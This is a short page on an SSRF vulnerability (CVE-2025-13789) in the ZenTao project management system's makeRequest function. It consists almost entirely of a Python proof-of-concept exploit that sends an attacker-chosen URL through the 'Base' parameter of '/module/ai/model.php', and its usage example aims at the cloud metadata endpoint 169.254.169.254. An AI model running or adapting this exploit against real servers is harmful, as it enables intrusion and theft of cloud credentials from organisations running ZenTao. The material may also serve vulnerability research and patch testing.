CVE-2025-13789 ZenTao项目管理系统makeRequest函数SSRF漏洞

import requests import sys def exploit_srf(target_url, attacker_controlled_url): """ PoC for CVE-2025-13789 - ZenTao SSRF via makeRequest function Args: target_url: Base URL of vulnerable ZenTao instance attacker_controlled_url: URL controlled by attacker for SSRF """ # Vulnerable endpoint and parameter endpoint = "/module/ai/model.php" params = { "Base": attacker_controlled_url, # SSRF payload "method": "makeRequest" } try: response = requests.get(target_url + endpoint, params=params, timeout=10) print(f"[*] Request sent to: {target_url}{endpoint}") print(f"[*] Target URL parameter: {attacker_controlled_url}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <attacker_url>") print(f"Example: python {sys.argv[0]} http://vulnerable-zen tao.com http://169.254.169.254/latest/meta-data/") sys.exit(1) target = sys.argv[1] attacker_url = sys.argv[2] exploit_srf(target, attacker_url)